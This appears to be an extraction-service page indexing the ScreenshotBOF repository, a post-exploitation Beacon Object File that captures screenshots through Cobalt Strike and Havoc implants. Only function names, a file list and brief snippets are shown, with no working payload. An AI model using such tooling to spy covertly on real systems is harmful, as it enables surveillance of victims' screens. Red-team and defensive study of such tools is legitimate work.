  function BOOL (line 385) | BOOL BitmapToJpeg(HBITMAP hBitmap, int quality, int grayscale, BYTE** pJ...
  function BOOL (line 540) | BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int saveme...
  function BOOL (line 640) | BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
  function HWND (line 660) | HWND FindWindowByPID(DWORD pid, int debug)
  function HBITMAP (line 682) | HBITMAP CaptureWindow(HWND hwnd, int debug)
  function go (line 807) | void go(char* buff, int len)
  function main (line 932) | void main(int argc, char* argv[])
Condensed preview — 19 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (163K chars).
[
  {
    "path": ".gitignore",
    "chars": 32,
    "preview": "/.vs\n/ScreenshotBOF/intermediary"
  },
  {
    "path": "LICENSE",
    "chars": 1062,
    "preview": "MIT License\n\nCopyright (c) 2025 CodeX\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof t"
  },
  {
    "path": "Makefile",
    "chars": 690,
    "preview": "BOFNAME := ScreenshotBOF\nCOMINCLUDE := -I .common\nLIBINCLUDE := \nCC_x64 := x86_64-w64-mingw32-gcc\nCC_x86 := i686-w64-min"
  },
  {
    "path": "README.md",
    "chars": 2178,
    "preview": "# ScreenshotBOF\n\nAn alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & r"
  },
  {
    "path": "ScreenshotBOF/screenshotBOF.cna",
    "chars": 4621,
    "preview": "# Register command\nbeacon_command_register(\n    \"screenshot_bof\",\n    \"Alternative screenshot capability that does not d"
  },
  {
    "path": "ScreenshotBOF/screenshotBOF.py",
    "chars": 1708,
    "preview": "from havoc import Demon, RegisterCommand\n\ndef screenshot_bof(\n    demonID,\n    * param: tuple\n):\n    TaskID : str    = N"
  },
  {
    "path": "beacon.h",
    "chars": 2712,
    "preview": "#pragma once\n\n/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight pos"
  },
  {
    "path": "bofdefs.h",
    "chars": 18948,
    "preview": "#pragma once\n/* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */\n#include <windows.h"
  },
  {
    "path": "common/anticrash.c",
    "chars": 618,
    "preview": "#include <stdarg.h>\n#include \"bofdefs.h\"\n//For some reason char *[] is invalid in BOF files\n//So this function stands to"
  },
  {
    "path": "common/base.c",
    "chars": 6925,
    "preview": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\n\n\nchar * out"
  },
  {
    "path": "common/beacon.h",
    "chars": 2599,
    "preview": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation"
  },
  {
    "path": "common/bofdefs.h",
    "chars": 56782,
    "preview": "#pragma once\n#pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen)\n#include <windows.h>\n#include <process.h>\n#"
  },
  {
    "path": "common/queue.c",
    "chars": 1364,
    "preview": "#include \"bofdefs.h\"\n//Not if anyone else adopts or looks at this\n//Its not threadsafe\ntypedef struct _item{\n    void * "
  },
  {
    "path": "common/stack.c",
    "chars": 1409,
    "preview": "#include \"bofdefs.h\"\n//Note if anyone else adopts or looks at this\n//Its not threadsafe\ntypedef struct _item{\n    void *"
  },
  {
    "path": "common/wmi.c",
    "chars": 13768,
    "preview": "#include <windows.h>\n#include <stdio.h>\n#include <oleauto.h>\n#include <wbemcli.h>\n#include <wchar.h>\n#include <io.h>\n#in"
  },
  {
    "path": "common/wmi.h",
    "chars": 602,
    "preview": "#pragma once\n\n#include <windows.h>\n#include <wbemidl.h>\n#include <stdint.h>\n\n\n\n\n\ntypedef struct _Wmi {\n\tIWbemServices* p"
  },
  {
    "path": "entry.cpp",
    "chars": 41204,
    "preview": "#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include \"bofdefs.h\"\n#include <gdiplus.h> "
  }
]

// ... and 2 more files (download for full content)

About this extraction

This page contains the full source code of the CodeXTF2/ScreenshotBOF GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 19 files (153.5 KB), approximately 43.9k tokens, and a symbol index with 51 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!